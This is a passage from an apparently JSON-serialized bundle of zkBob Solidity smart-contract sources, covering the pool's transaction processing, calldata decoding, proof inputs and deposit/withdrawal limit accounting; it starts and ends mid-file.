UpdateOperatorManager(address manager);\n event WithdrawFee(address indexed operator, uint256 fee);\n\n event Message(uint256 indexed index, bytes32 indexed hash, bytes message);\n\n constructor(\n uint256 __pool_id,\n address _token,\n ITransferVerifier _transfer_verifier,\n ITreeVerifier _tree_verifier,\n IBatchDepositVerifier _batch_deposit_verifier,\n address _direct_deposit_queue\n ) {\n require(__pool_id <= MAX_POOL_ID, \"ZkBobPool: exceeds max pool id\");\n require(Address.isContract(_token), \"ZkBobPool: not a contract\");\n require(Address.isContract(address(_transfer_verifier)), \"ZkBobPool: not a contract\");\n require(Address.isContract(address(_tree_verifier)), \"ZkBobPool: not a contract\");\n require(Address.isContract(_direct_deposit_queue), \"ZkBobPool: not a contract\");\n pool_id = __pool_id;\n token = _token;\n transfer_verifier = _transfer_verifier;\n tree_verifier = _tree_verifier;\n batch_deposit_verifier = _batch_deposit_verifier;\n direct_deposit_queue = IZkBobDirectDepositQueue(_direct_deposit_queue);\n }\n\n /**\n * @dev Throws if called by any account other than the current relayer operator.\n */\n modifier onlyOperator() {\n require(operatorManager.isOperator(_msgSender()), \"ZkBobPool: not an operator\");\n _;\n }\n\n /**\n * @dev Initializes pool proxy storage.\n * Callable only once and only through EIP1967Proxy constructor / upgradeToAndCall.\n * @param _root initial empty merkle tree root.\n * @param _tvlCap initial upper cap on the entire pool tvl, 18 decimals.\n * @param _dailyDepositCap initial daily limit on the sum of all deposits, 18 decimals.\n * @param _dailyWithdrawalCap initial daily limit on the sum of all withdrawals, 18 decimals.\n * @param _dailyUserDepositCap initial daily limit on the sum of all per-address deposits, 18 decimals.\n * @param _depositCap initial limit on the amount of a single deposit, 18 decimals.\n * @param _dailyUserDirectDepositCap initial daily limit on the sum of all per-address direct deposits, 18 decimals.\n * @param _directDepositCap initial limit on the amount of a single direct deposit, 18 decimals.\n */\n function initialize(\n uint256 _root,\n uint256 _tvlCap,\n uint256 _dailyDepositCap,\n uint256 _dailyWithdrawalCap,\n uint256 _dailyUserDepositCap,\n uint256 _depositCap,\n uint256 _dailyUserDirectDepositCap,\n uint256 _directDepositCap\n )\n external\n {\n require(msg.sender == address(this), \"ZkBobPool: not initializer\");\n require(roots[0] == 0, \"ZkBobPool: already initialized\");\n require(_root != 0, \"ZkBobPool: zero root\");\n roots[0] = _root;\n _setLimits(\n 0,\n _tvlCap / TOKEN_DENOMINATOR,\n _dailyDepositCap / TOKEN_DENOMINATOR,\n _dailyWithdrawalCap / TOKEN_DENOMINATOR,\n _dailyUserDepositCap / TOKEN_DENOMINATOR,\n _depositCap / TOKEN_DENOMINATOR,\n _dailyUserDirectDepositCap / TOKEN_DENOMINATOR,\n _directDepositCap / TOKEN_DENOMINATOR\n );\n }\n\n /**\n * @dev Updates token seller contract used for native coin withdrawals.\n * Callable only by the contract owner / proxy admin.\n * @param _seller new token seller contract implementation. address(0) will deactivate native withdrawals.\n */\n function setTokenSeller(address _seller) external onlyOwner {\n tokenSeller = ITokenSeller(_seller);\n emit UpdateTokenSeller(_seller);\n }\n\n /**\n * @dev Updates used operator manager contract.\n * Callable only by the contract owner / proxy admin.\n * @param _operatorManager new operator manager implementation.\n */\n function setOperatorManager(IOperatorManager _operatorManager) external onlyOwner {\n require(address(_operatorManager) != address(0), \"ZkBobPool: manager is zero address\");\n operatorManager = _operatorManager;\n emit UpdateOperatorManager(address(_operatorManager));\n }\n\n /**\n * @dev Tells the denominator for converting BOB into zkBOB units.\n * 1e18 BOB units = 1e9 zkBOB units.\n */\n function denominator() external pure returns (uint256) {\n return TOKEN_DENOMINATOR;\n }\n\n /**\n * @dev Tells the current merkle tree index, which will be used for the next operation.\n * Each operation increases merkle tree size by 128, so index is equal to the total number of seen operations, multiplied by 128.\n * @return next operator merkle index.\n */\n function pool_index() external view returns (uint256) {\n return _txCount() << 7;\n }\n\n function _root() internal view override returns (uint256) {\n return roots[_transfer_index()];\n }\n\n function _pool_id() internal view override returns (uint256) {\n return pool_id;\n }\n\n /**\n * @dev Perform a zkBob pool transaction.\n * Callable only by the current operator.\n * Method uses a custom ABI encoding scheme described in CustomABIDecoder.\n * Single transact() call performs either deposit, withdrawal or shielded transfer operation.\n */\n function transact() external onlyOperator {\n address user;\n uint256 txType = _tx_type();\n if (txType == 0) {\n user = _deposit_spender();\n } else if (txType == 2) {\n user = _memo_receiver();\n } else if (txType == 3) {\n user = _memo_permit_holder();\n }\n int256 transfer_token_delta = _transfer_token_amount();\n (,, uint256 txCount) = _recordOperation(user, transfer_token_delta);\n\n uint256 nullifier = _transfer_nullifier();\n {\n uint256 _pool_index = txCount << 7;\n\n require(nullifiers[nullifier] == 0, \"ZkBobPool: doublespend detected\");\n require(_transfer_index() <= _pool_index, \"ZkBobPool: transfer index out of bounds\");\n require(transfer_verifier.verifyProof(_transfer_pub(), _transfer_proof()), \"ZkBobPool: bad transfer proof\");\n require(\n tree_verifier.verifyProof(_tree_pub(roots[_pool_index]), _tree_proof()), \"ZkBobPool: bad tree proof\"\n );\n\n nullifiers[nullifier] = uint256(keccak256(abi.encodePacked(_transfer_out_commit(), _transfer_delta())));\n _pool_index += 128;\n roots[_pool_index] = _tree_root_after();\n bytes memory message = _memo_message();\n // restrict memo message prefix (items count in little endian) to be < 2**16\n require(bytes4(message) & 0x0000ffff == MESSAGE_PREFIX_COMMON_V1, \"ZkBobPool: bad message prefix\");\n bytes32 message_hash = keccak256(message);\n bytes32 _all_messages_hash = keccak256(abi.encodePacked(all_messages_hash, message_hash));\n all_messages_hash = _all_messages_hash;\n emit Message(_pool_index, _all_messages_hash, message);\n }\n\n uint256 fee = _memo_fee();\n int256 token_amount = transfer_token_delta + int256(fee);\n int256 energy_amount = _transfer_energy_amount();\n\n if (txType == 0) {\n // Deposit\n require(transfer_token_delta > 0 && energy_amount == 0, \"ZkBobPool: incorrect deposit amounts\");\n IERC20(token).safeTransferFrom(user, address(this), uint256(token_amount) * TOKEN_DENOMINATOR);\n } else if (txType == 1) {\n // Transfer\n require(token_amount == 0 && energy_amount == 0, \"ZkBobPool: incorrect transfer amounts\");\n } else if (txType == 2) {\n // Withdraw\n require(token_amount <= 0 && energy_amount <= 0, \"ZkBobPool: incorrect withdraw amounts\");\n\n uint256 native_amount = _memo_native_amount() * TOKEN_DENOMINATOR;\n uint256 withdraw_amount = uint256(-token_amount) * TOKEN_DENOMINATOR;\n\n if (native_amount > 0) {\n ITokenSeller seller = tokenSeller;\n if (address(seller) != address(0)) {\n IERC20(token).safeTransfer(address(seller), native_amount);\n (, uint256 refunded) = seller.sellForETH(user, native_amount);\n withdraw_amount = withdraw_amount - native_amount + refunded;\n }\n }\n\n if (withdraw_amount > 0) {\n IERC20(token).safeTransfer(user, withdraw_amount);\n }\n\n // energy withdrawals are not yet implemented, any transaction with non-zero energy_amount will revert\n // future version of the protocol will support energy withdrawals through negative energy_amount\n if (energy_amount < 0) {\n revert(\"ZkBobPool: XP claiming is not yet enabled\");\n }\n } else if (txType == 3) {\n // Permittable token deposit\n require(transfer_token_delta > 0 && energy_amount == 0, \"ZkBobPool: incorrect deposit amounts\");\n (uint8 v, bytes32 r, bytes32 s) = _permittable_deposit_signature();\n IERC20Permit(token).receiveWithSaltedPermit(\n user, uint256(token_amount) * TOKEN_DENOMINATOR, _memo_permit_deadline(), bytes32(nullifier), v, r, s\n );\n } else {\n revert(\"ZkBobPool: Incorrect transaction type\");\n }\n\n if (fee > 0) {\n accumulatedFee[msg.sender] += fee;\n }\n }\n\n function appendDirectDeposits(\n uint256 _root_after,\n uint256[] calldata _indices,\n uint256 _out_commit,\n uint256[8] memory _batch_deposit_proof,\n uint256[8] memory _tree_proof\n )\n external\n onlyOperator\n {\n (uint256 total, uint256 totalFee, uint256 hashsum, bytes memory message) =\n direct_deposit_queue.collect(_indices, _out_commit);\n\n uint256 txCount = _processDirectDepositBatch(total);\n uint256 _pool_index = txCount << 7;\n\n // verify that _out_commit corresponds to zero output account + 16 chosen notes + 111 empty notes\n require(\n batch_deposit_verifier.verifyProof([hashsum], _batch_deposit_proof), \"ZkBobPool: bad batch deposit proof\"\n );\n\n uint256[3] memory tree_pub = [roots[_pool_index], _root_after, _out_commit];\n require(tree_verifier.verifyProof(tree_pub, _tree_proof), \"ZkBobPool: bad tree proof\");\n\n _pool_index += 128;\n roots[_pool_index] = _root_after;\n bytes32 message_hash = keccak256(message);\n bytes32 _all_messages_hash = keccak256(abi.encodePacked(all_messages_hash, message_hash));\n all_messages_hash = _all_messages_hash;\n\n if (totalFee > 0) {\n accumulatedFee[msg.sender] += totalFee;\n }\n\n emit Message(_pool_index, _all_messages_hash, message);\n }\n\n function recordDirectDeposit(address _sender, uint256 _amount) external {\n require(msg.sender == address(direct_deposit_queue),\"ZkBobPool: not authorized\");\n _checkDirectDepositLimits(_sender, _amount);\n }\n\n /**\n * @dev Withdraws accumulated fee on behalf of an operator.\n * Callable only by the operator itself, or by a pre-configured operator fee receiver address.\n * @param _operator address of an operator account to withdraw fee from.\n * @param _to address of the accumulated fee tokens receiver.\n */\n function withdrawFee(address _operator, address _to) external {\n require(\n _operator == msg.sender || operatorManager.isOperatorFeeReceiver(_operator, msg.sender),\n \"ZkBobPool: not authorized\"\n );\n uint256 fee = accumulatedFee[_operator] * TOKEN_DENOMINATOR;\n require(fee > 0, \"ZkBobPool: no fee to withdraw\");\n IERC20(token).safeTransfer(_to, fee);\n accumulatedFee[_operator] = 0;\n emit WithdrawFee(_operator, fee);\n }\n\n /**\n * @dev Updates pool usage limits.\n * Callable only by the contract owner / proxy admin.\n * @param _tier pool limits tier (0-254).\n * @param _tvlCap new upper cap on the entire pool tvl, 18 decimals.\n * @param _dailyDepositCap new daily limit on the sum of all deposits, 18 decimals.\n * @param _dailyWithdrawalCap new daily limit on the sum of all withdrawals, 18 decimals.\n * @param _dailyUserDepositCap new daily limit on the sum of all per-address deposits, 18 decimals.\n * @param _depositCap new limit on the amount of a single deposit, 18 decimals.\n * @param _dailyUserDirectDepositCap new daily limit on the sum of all per-address direct deposits, 18 decimals.\n * @param _directDepositCap new limit on the amount of a single direct deposit, 18 decimals.\n */\n function setLimits(\n uint8 _tier,\n uint256 _tvlCap,\n uint256 _dailyDepositCap,\n uint256 _dailyWithdrawalCap,\n uint256 _dailyUserDepositCap,\n uint256 _depositCap,\n uint256 _dailyUserDirectDepositCap,\n uint256 _directDepositCap\n )\n external\n onlyOwner\n {\n _setLimits(\n _tier,\n _tvlCap / TOKEN_DENOMINATOR,\n _dailyDepositCap / TOKEN_DENOMINATOR,\n _dailyWithdrawalCap / TOKEN_DENOMINATOR,\n _dailyUserDepositCap / TOKEN_DENOMINATOR,\n _depositCap / TOKEN_DENOMINATOR,\n _dailyUserDirectDepositCap / TOKEN_DENOMINATOR,\n _directDepositCap / TOKEN_DENOMINATOR\n );\n }\n\n /**\n * @dev Resets daily limit usage for the current day.\n * Callable only by the contract owner / proxy admin.\n * @param _tier tier id to reset daily limits for.\n */\n function resetDailyLimits(uint8 _tier) external onlyOwner {\n _resetDailyLimits(_tier);\n }\n\n /**\n * @dev Updates users limit tiers.\n * Callable only by the contract owner / proxy admin.\n * @param _tier pool limits tier (0-255).\n * 0 is the default tier.\n * 1-254 are custom pool limit tiers, configured at runtime.\n * 255 is the special tier with zero limits, used to effectively prevent some address from accessing the pool.\n * @param _users list of user account addresses to assign a tier for.\n */\n function setUsersTier(uint8 _tier, address[] memory _users) external onlyOwner {\n _setUsersTier(_tier, _users);\n }\n\n /**\n * @dev Tells if caller is the contract owner.\n * Gives ownership rights to the proxy admin as well.\n * @return true, if caller is the contract owner or proxy admin.\n */\n function _isOwner() internal view override returns (bool) {\n return super._isOwner() || _admin() == _msgSender();\n }\n}\n", + "src/zkbob/utils/CustomABIDecoder.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.15;\n\ncontract CustomABIDecoder {\n uint256 constant transfer_nullifier_pos = 4;\n uint256 constant transfer_nullifier_size = 32;\n uint256 constant uint256_size = 32;\n\n function _loaduint256(uint256 pos) internal pure returns (uint256 r) {\n assembly {\n r := calldataload(pos)\n }\n }\n\n function _transfer_nullifier() internal pure returns (uint256 r) {\n r = _loaduint256(transfer_nullifier_pos);\n }\n\n uint256 constant transfer_out_commit_pos = transfer_nullifier_pos + transfer_nullifier_size;\n uint256 constant transfer_out_commit_size = 32;\n\n function _transfer_out_commit() internal pure returns (uint256 r) {\n r = _loaduint256(transfer_out_commit_pos);\n }\n\n uint256 constant transfer_index_pos = transfer_out_commit_pos + transfer_out_commit_size;\n uint256 constant transfer_index_size = 6;\n\n function _transfer_index() internal pure returns (uint48 r) {\n r = uint48(_loaduint256(transfer_index_pos + transfer_index_size - uint256_size));\n }\n\n uint256 constant transfer_energy_amount_pos = transfer_index_pos + transfer_index_size;\n uint256 constant transfer_energy_amount_size = 14;\n\n function _transfer_energy_amount() internal pure returns (int112 r) {\n r = int112(uint112(_loaduint256(transfer_energy_amount_pos + transfer_energy_amount_size - uint256_size)));\n }\n\n uint256 constant transfer_token_amount_pos = transfer_energy_amount_pos + transfer_energy_amount_size;\n uint256 constant transfer_token_amount_size = 8;\n\n function _transfer_token_amount() internal pure returns (int64 r) {\n r = int64(uint64(_loaduint256(transfer_token_amount_pos + transfer_token_amount_size - uint256_size)));\n }\n\n uint256 constant transfer_proof_pos = transfer_token_amount_pos + transfer_token_amount_size;\n uint256 constant transfer_proof_size = 256;\n\n function _transfer_proof() internal pure returns (uint256[8] calldata r) {\n uint256 pos = transfer_proof_pos;\n assembly {\n r := pos\n }\n }\n\n uint256 constant tree_root_after_pos = transfer_proof_pos + transfer_proof_size;\n uint256 constant tree_root_after_size = 32;\n\n function _tree_root_after() internal pure returns (uint256 r) {\n r = _loaduint256(tree_root_after_pos);\n }\n\n uint256 constant tree_proof_pos = tree_root_after_pos + tree_root_after_size;\n uint256 constant tree_proof_size = 256;\n\n function _tree_proof() internal pure returns (uint256[8] calldata r) {\n uint256 pos = tree_proof_pos;\n assembly {\n r := pos\n }\n }\n\n uint256 constant tx_type_pos = tree_proof_pos + tree_proof_size;\n uint256 constant tx_type_size = 2;\n uint256 constant tx_type_mask = (1 << (tx_type_size * 8)) - 1;\n\n function _tx_type() internal pure returns (uint256 r) {\n r = _loaduint256(tx_type_pos + tx_type_size - uint256_size) & tx_type_mask;\n }\n\n uint256 constant memo_data_size_pos = tx_type_pos + tx_type_size;\n uint256 constant memo_data_size_size = 2;\n uint256 constant memo_data_size_mask = (1 << (memo_data_size_size * 8)) - 1;\n\n uint256 constant memo_data_pos = memo_data_size_pos + memo_data_size_size;\n\n function _memo_data_size() internal pure returns (uint256 r) {\n r = _loaduint256(memo_data_size_pos + memo_data_size_size - uint256_size) & memo_data_size_mask;\n }\n\n function _memo_data() internal pure returns (bytes calldata r) {\n uint256 offset = memo_data_pos;\n uint256 length = _memo_data_size();\n assembly {\n r.offset := offset\n r.length := length\n }\n }\n\n function _sign_r_vs_pos() internal pure returns (uint256) {\n return memo_data_pos + _memo_data_size();\n }\n\n uint256 constant sign_r_vs_size = 64;\n\n function _sign_r_vs() internal pure returns (bytes32 r, bytes32 vs) {\n uint256 offset = _sign_r_vs_pos();\n assembly {\n r := calldataload(offset)\n vs := calldataload(add(offset, 32))\n }\n }\n\n uint256 constant transfer_delta_size =\n transfer_index_size + transfer_energy_amount_size + transfer_token_amount_size;\n uint256 constant transfer_delta_mask = (1 << (transfer_delta_size * 8)) - 1;\n\n function _transfer_delta() internal pure returns (uint256 r) {\n r = _loaduint256(transfer_index_pos + transfer_delta_size - uint256_size) & transfer_delta_mask;\n }\n\n function _memo_fixed_size() internal pure returns (uint256 r) {\n uint256 t = _tx_type();\n if (t == 0 || t == 1) {\n // fee\n // 8\n r = 8;\n } else if (t == 2) {\n // fee + native amount + recipient\n // 8 + 8 + 20\n r = 36;\n } else if (t == 3) {\n // fee + deadline + address\n // 8 + 8 + 20\n r = 36;\n } else {\n revert();\n }\n }\n\n function _memo_message() internal pure returns (bytes calldata r) {\n uint256 memo_fixed_size = _memo_fixed_size();\n uint256 offset = memo_data_pos + memo_fixed_size;\n uint256 length = _memo_data_size() - memo_fixed_size;\n assembly {\n r.offset := offset\n r.length := length\n }\n }\n\n uint256 constant memo_fee_pos = memo_data_pos;\n uint256 constant memo_fee_size = 8;\n uint256 constant memo_fee_mask = (1 << (memo_fee_size * 8)) - 1;\n\n function _memo_fee() internal pure returns (uint256 r) {\n r = _loaduint256(memo_fee_pos + memo_fee_size - uint256_size) & memo_fee_mask;\n }\n\n // Withdraw specific data\n\n uint256 constant memo_native_amount_pos = memo_fee_pos + memo_fee_size;\n uint256 constant memo_native_amount_size = 8;\n uint256 constant memo_native_amount_mask = (1 << (memo_native_amount_size * 8)) - 1;\n\n function _memo_native_amount() internal pure returns (uint256 r) {\n r = _loaduint256(memo_native_amount_pos + memo_native_amount_size - uint256_size) & memo_native_amount_mask;\n }\n\n uint256 constant memo_receiver_pos = memo_native_amount_pos + memo_native_amount_size;\n uint256 constant memo_receiver_size = 20;\n\n function _memo_receiver() internal pure returns (address r) {\n r = address(uint160(_loaduint256(memo_receiver_pos + memo_receiver_size - uint256_size)));\n }\n\n // Permittable token deposit specific data\n\n uint256 constant memo_permit_deadline_pos = memo_fee_pos + memo_fee_size;\n uint256 constant memo_permit_deadline_size = 8;\n\n function _memo_permit_deadline() internal pure returns (uint64 r) {\n r = uint64(_loaduint256(memo_permit_deadline_pos + memo_permit_deadline_size - uint256_size));\n }\n\n uint256 constant memo_permit_holder_pos = memo_permit_deadline_pos + memo_permit_deadline_size;\n uint256 constant memo_permit_holder_size = 20;\n\n function _memo_permit_holder() internal pure returns (address r) {\n r = address(uint160(_loaduint256(memo_permit_holder_pos + memo_permit_holder_size - uint256_size)));\n }\n}\n", + "src/zkbob/utils/Parameters.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.15;\n\nimport \"@openzeppelin/contracts/utils/cryptography/ECDSA.sol\";\nimport \"./CustomABIDecoder.sol\";\n\nabstract contract Parameters is CustomABIDecoder {\n uint256 constant R = 21888242871839275222246405745257275088548364400416034343698204186575808495617;\n bytes32 constant S_MASK = 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;\n\n function _root() internal view virtual returns (uint256);\n function _pool_id() internal view virtual returns (uint256);\n\n function _transfer_pub() internal view returns (uint256[5] memory r) {\n r[0] = _root();\n r[1] = _transfer_nullifier();\n r[2] = _transfer_out_commit();\n r[3] = _transfer_delta() + (_pool_id() << (transfer_delta_size * 8));\n r[4] = uint256(keccak256(_memo_data())) % R;\n }\n\n function _tree_pub(uint256 _root_before) internal view returns (uint256[3] memory r) {\n r[0] = _root_before;\n r[1] = _tree_root_after();\n r[2] = _transfer_out_commit();\n }\n\n // NOTE only valid in the context of normal deposit (tx_type=0)\n function _deposit_spender() internal pure returns (address) {\n (bytes32 r, bytes32 vs) = _sign_r_vs();\n return ECDSA.recover(ECDSA.toEthSignedMessageHash(bytes32(_transfer_nullifier())), r, vs);\n }\n\n // NOTE only valid in the context of permittable token deposit (tx_type=3)\n function _permittable_deposit_signature() internal pure returns (uint8, bytes32, bytes32) {\n (bytes32 r, bytes32 vs) = _sign_r_vs();\n return (uint8((uint256(vs) >> 255) + 27), r, vs & S_MASK);\n }\n}\n", + "src/zkbob/utils/ZkBobAccounting.sol": "// SPDX-License-Identifier: CC0-1.0\n\npragma solidity 0.8.15;\n\n/**\n * @title ZkBobAccounting\n * @dev On chain accounting for zkBob operations, limits and stats.\n * Units: 1 BOB = 1e18 wei = 1e9 zkBOB units\n * Limitations: Contract will only work correctly as long as pool tvl does not exceed 4.7e12 BOB (4.7 trillion)\n * and overall transaction count does not exceed 4.3e9 (4.3 billion). Pool usage limits cannot exceed 4.3e9 BOB (4.3 billion) per day.\n */\ncontract ZkBobAccounting {\n uint256 internal constant PRECISION = 1_000_000_000;\n uint256 internal constant SLOT_DURATION = 1 hours;\n uint256 internal constant DAY_SLOTS = 1 days / SLOT_DURATION;\n uint256 internal constant WEEK_SLOTS = 1 weeks / SLOT_DURATION;\n\n struct Slot0 {\n // max seen average tvl over period of at least 1 week (granularity of 1e9), might not be precise\n // max possible tvl - type(uint56).max * 1e9 zkBOB units ~= 7.2e16 BOB\n uint56 maxWeeklyAvgTvl;\n // max number of pool interactions over 1 week, might not be precise\n // max possible tx count - type(uint32).max ~= 4.3e9 transactions\n uint32 maxWeeklyTxCount;\n // 1 week behind snapshot time slot (granularity of 1 hour)\n // max possible timestamp - Dec 08 3883\n uint24 tailSlot;\n // active snapshot time slot (granularity of 1 hour)\n // max possible timestamp - Dec 08 3883\n uint24 headSlot;\n // cumulative sum of tvl over txCount interactions (granularity of 1e9)\n // max possible cumulative tvl ~= type(uint32).max * type(uint56).max = 4.3e9 transactions * 7.2e16 BOB\n uint88 cumTvl;\n // number of successful pool interactions since launch\n // max possible tx count - type(uint32).max ~= 4.3e9 transactions\n uint32 txCount;\n }\n\n struct Slot1 {\n // current pool tvl (granularity of 1)\n // max possible tvl - type(uint72).max * 1 zkBOB units ~= 4.7e21 zkBOB units ~= 4.7e12 BOB\n uint72 tvl;\n }\n\n struct Tier {\n TierLimits limits;\n TierStats stats;\n }\n\n struct TierLimits {\n // max cap on the entire pool tvl (granularity of 1e9)\n // max possible cap - type(uint56).max * 1e9 zkBOB units ~= 7.2e16 BOB\n uint56 tvlCap;\n // max cap on the daily deposits sum (granularity of 1e9)\n // max possible cap - type(uint32).max * 1e9 zkBOB units ~= 4.3e9 BOB\n uint32 dailyDepositCap;\n // max cap on the daily withdrawal sum (granularity of 1e9)\n // max possible cap - type(uint32).max * 1e9 zkBOB units ~= 4.3e9 BOB\n uint32 dailyWithdrawalCap;\n // max cap on the daily deposits sum for single user (granularity of 1e9)\n // max possible cap - type(uint32).max * 1e9 zkBOB units ~= 4.3e9 BOB\n uint32 dailyUserDepositCap;\n // max cap on a single deposit (granularity of 1e9)\n // max possible cap - type(uint32).max * 1e9 zkBOB units ~= 4.3e9 BOB\n uint32 depositCap;\n // max cap on a single direct deposit (granularity of 1e9)\n // max possible cap - type(uint32).max * 1e9 zkBOB units ~= 4.3e9 BOB\n uint32 directDepositCap;\n // max cap on the daily direct deposits sum for single user (granularity of 1e9)\n // max possible cap - type(uint32).max * 1e9 zkBOB units ~= 4.3e9 BOB\n uint32 dailyUserDirectDepositCap;\n }\n\n struct TierStats {\n uint16 day; // last update day number\n uint72 dailyDeposit; // sum of all deposits during given day\n uint72 dailyWithdrawal; // sum of all withdrawals during given day\n }\n\n struct Snapshot {\n uint24 nextSlot; // next slot to from the queue\n uint32 txCount; // number of successful pool interactions since launch at the time of the snapshot\n uint88 cumTvl; // cumulative sum of tvl over txCount interactions (granularity of 1e9)\n }\n\n struct UserStats {\n uint16 day; // last update day number\n uint72 dailyDeposit; // sum of user deposits during given day\n uint8 tier; // user limits tier, 0 being the default tier\n uint72 dailyDirectDeposit; // sum of user direct deposits during given day\n }\n\n struct Limits {\n uint256 tvlCap;\n uint256 tvl;\n uint256 dailyDepositCap;\n uint256 dailyDepositCapUsage;\n uint256 dailyWithdrawalCap;\n uint256 dailyWithdrawalCapUsage;\n uint256 dailyUserDepositCap;\n uint256 dailyUserDepositCapUsage;\n uint256 depositCap;\n uint8 tier;\n uint256 dailyUserDirectDepositCap;\n uint256 dailyUserDirectDepositCapUsage;\n uint256 directDepositCap;\n }\n\n Slot0 private slot0;\n Slot1 private slot1;\n mapping(uint256 => Tier) private tiers; // pool limits and usage per tier\n mapping(uint256 => Snapshot) private snapshots; // single linked list of hourly snapshots\n mapping(address => UserStats) private userStats;\n\n event UpdateLimits(uint8 indexed tier, TierLimits limits);\n event UpdateTier(address user, uint8 tier);\n\n /**\n * @dev Returns currently configured limits and remaining quotas for the given user as of the current block.\n * @param _user user for which to retrieve limits.\n * @return limits (denominated in zkBOB units = 1e-9 BOB)\n */\n function getLimitsFor(address _user) external view returns (Limits memory) {\n Slot1 memory s1 = slot1;\n UserStats memory us = userStats[_user];\n Tier storage t = tiers[uint256(us.tier)];\n TierLimits memory tl = t.limits;\n TierStats memory ts = t.stats;\n uint24 curSlot = uint24(block.timestamp / SLOT_DURATION);\n uint24 today = curSlot / uint24(DAY_SLOTS);\n return Limits({\n tvlCap: tl.tvlCap * PRECISION,\n tvl: s1.tvl,\n dailyDepositCap: tl.dailyDepositCap * PRECISION,\n dailyDepositCapUsage: (ts.day == today) ? ts.dailyDeposit : 0,\n dailyWithdrawalCap: tl.dailyWithdrawalCap * PRECISION,\n dailyWithdrawalCapUsage: (ts.day == today) ? ts.dailyWithdrawal : 0,\n dailyUserDepositCap: tl.dailyUserDepositCap * PRECISION,\n dailyUserDepositCapUsage: (us.day == today) ? us.dailyDeposit : 0,\n depositCap: tl.depositCap * PRECISION,\n tier: us.tier,\n dailyUserDirectDepositCap: tl.dailyUserDirectDepositCap * PRECISION,\n dailyUserDirectDepositCapUsage: (us.day == today) ? us.dailyDirectDeposit : 0,\n directDepositCap: tl.directDepositCap * PRECISION\n });\n }\n\n function _recordOperation(\n address _user,\n int256 _txAmount\n )\n internal\n returns (uint56 maxWeeklyAvgTvl, uint32 maxWeeklyTxCount, uint256 txCount)\n {\n Slot0 memory s0 = slot0;\n Slot1 memory s1 = slot1;\n uint24 curSlot = uint24(block.timestamp / SLOT_DURATION);\n txCount = uint256(s0.txCount);\n\n // for full correctness, next line should use \"while\" instead of \"if\"\n // however, in order to keep constant gas usage, \"if\" is being used\n // this can lead to a longer sliding window (> 1 week) in some cases,\n // but eventually it will converge back to the 1 week target\n if (s0.txCount > 0 && curSlot - s0.tailSlot > WEEK_SLOTS) {\n // if tail is more than 1 week behind, we move tail pointer to the next snapshot\n Snapshot memory sn = snapshots[s0.tailSlot];\n delete snapshots[s0.tailSlot];\n s0.tailSlot = sn.nextSlot;\n uint32 weeklyTxCount = s0.txCount - sn.txCount;\n if (weeklyTxCount > s0.maxWeeklyTxCount) {\n s0.maxWeeklyTxCount = weeklyTxCount;\n }\n uint56 avgTvl = uint56((s0.cumTvl - sn.cumTvl) / weeklyTxCount);\n if (avgTvl > s0.maxWeeklyAvgTvl) {\n s0.maxWeeklyAvgTvl = avgTvl;\n }\n }\n\n if (s0.headSlot < curSlot) {\n snapshots[s0.headSlot] = Snapshot(curSlot, s0.txCount, s0.cumTvl);\n s0.headSlot = curSlot;\n }\n\n // update head stats\n s0.cumTvl += s1.tvl / uint72(PRECISION);\n s0.txCount++;\n\n _processTVLChange(s1, _user, _txAmount);\n\n slot0 = s0;\n return (s0.maxWeeklyAvgTvl, s0.maxWeeklyTxCount, txCount);\n }\n\n function _processTVLChange(Slot1 memory s1, address _user, int256 _txAmount) internal {\n uint16 curDay = uint16(block.timestamp / SLOT_DURATION / DAY_SLOTS);\n\n if (_txAmount == 0) {\n return;\n }\n\n UserStats memory us = userStats[_user];\n Tier storage t = tiers[us.tier];\n TierLimits memory tl = t.limits;\n TierStats memory ts = t.stats;\n\n if (_txAmount > 0) {\n uint256 depositAmount = uint256(_txAmount);\n s1.tvl += uint72(depositAmount);\n\n // check all sorts of limits when processing a deposit\n require(depositAmount <= uint256(tl.depositCap) * PRECISION, \"ZkBobAccounting: single deposit cap exceeded\");\n require(uint256(s1.tvl) <= uint256(tl.tvlCap) * PRECISION, \"ZkBobAccounting: tvl cap exceeded\");\n\n if (curDay > us.day) {\n // user snapshot is outdated, day number and daily sum could be reset\n userStats[_user] =\n UserStats({day: curDay, dailyDeposit: uint72(depositAmount), tier: us.tier, dailyDirectDeposit: 0});\n } else {\n us.dailyDeposit += uint72(depositAmount);\n require(\n uint256(us.dailyDeposit) <= uint256(tl.dailyUserDepositCap) * PRECISION,\n \"ZkBobAccounting: daily user deposit cap exceeded\"\n );\n userStats[_user] = us;\n }\n\n if (curDay > ts.day) {\n // latest deposit was on an earlier day, reset daily withdrawal sum\n ts = TierStats({day: curDay, dailyDeposit: uint72(depositAmount), dailyWithdrawal: 0});\n } else {\n ts.dailyDeposit += uint72(depositAmount);\n require(\n uint256(ts.dailyDeposit) <= uint256(tl.dailyDepositCap) * PRECISION,\n \"ZkBobAccounting: daily deposit cap exceeded\"\n );\n }\n } else {\n uint256 withdrawAmount = uint256(-_txAmount);\n require(withdrawAmount <= type(uint32).max * PRECISION, \"ZkBobAccounting: withdrawal amount too large\");\n s1.tvl -= uint72(withdrawAmount);\n\n if (curDay > ts.day) {\n // latest withdrawal was on an earlier day, reset daily deposit sum\n ts = TierStats({day: curDay, dailyDeposit: 0, dailyWithdrawal: uint72(withdrawAmount)});\n } else {\n ts.dailyWithdrawal += uint72(withdrawAmount);\n require(\n uint256(ts.dailyWithdrawal) <= uint256(tl.dailyWithdrawalCap) * PRECISION,\n \"ZkBobAccounting: daily withdrawal cap exceeded\"\n );\n }\n }\n\n slot1 = s1;\n t.stats = ts;\n }\n\n function _checkDirectDepositLimits(address _user, uint256 _amount) internal {\n uint16 curDay = uint16(block.timestamp / SLOT_DURATION / DAY_SLOTS);\n\n UserStats memory us = userStats[_user];\n TierLimits memory tl = tiers[us.tier].limits;\n\n // check all sorts of limits when processing a deposit\n require(\n _amount <= uint256(tl.directDepositCap) * PRECISION, \"ZkBobAccounting: single direct deposit cap exceeded\"\n );\n\n if (curDay > us.day) {\n // user snapshot is outdated, day number and daily sum could be reset\n us = UserStats({day: curDay, dailyDeposit: 0, tier: us.tier, dailyDirectDeposit: uint72(_amount)});\n } else {\n us.dailyDirectDeposit += uint72(_amount);\n require(\n uint256(us.dailyDirectDeposit) <= uint256(tl.dailyUserDirectDepositCap) * PRECISION,\n \"ZkBobAccounting: daily user direct deposit cap exceeded\"\n );\n }\n userStats[_user] = us;\n }\n\n function _processDirectDepositBatch(uint256 _totalAmount) internal returns 